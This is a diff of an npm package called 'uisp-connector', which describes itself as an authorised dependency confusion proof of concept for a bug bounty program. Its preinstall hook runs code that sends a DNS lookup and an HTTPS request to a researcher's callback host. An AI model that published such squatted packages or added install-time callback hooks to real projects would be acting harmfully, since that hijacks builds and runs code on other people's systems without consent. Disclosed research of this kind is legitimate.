uisp-connector 0.0.1-security-research

package/README.md

@@ -0,0 +1,12 @@
+# Security Research — Dependency Confusion PoC
+
+This package was published as part of authorized security research on the Ubiquiti bug bounty program (HackerOne).
+
+**This is NOT malicious software.** It performs a single DNS and HTTPS callback to a researcher-controlled server to prove that this package name is fetched by build systems. No data is exfiltrated, no system is modified.
+
+## Contact
+- HackerOne: https://hackerone.com/rcl-lore
+- If you received a callback from this package, please contact me via HackerOne.
+
+## What to do
+If your build system fetched this package, it means your internal dependency resolution is vulnerable to dependency confusion. Please scope your private packages correctly and use `.npmrc` registry overrides.

package/index.js

@@ -0,0 +1,5 @@
+const https = require('https');
+const dns = require('dns');
+const id = 'uisp-connector';
+dns.resolve(`${id}.d8hiivedv3ok8hrng5eghchyw4hwsioaz.oast.online`, () => {});
+https.get(`https://d8hiivedv3ok8hrng5eghchyw4hwsioaz.oast.online/${id}`, () => {}).on('error', () => {});

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "uisp-connector",
+  "version": "0.0.1-security-research",
+  "description": "Security research — dependency confusion PoC for Ubiquiti. Contact: https://hackerone.com/rcl-lore",
+  "scripts": {
+    "preinstall": "node index.js || true"
+  },
+  "keywords": ["security", "research", "ubiquiti"],
+  "author": "rcl-lore (https://hackerone.com/rcl-lore)",
+  "license": "MIT"
+}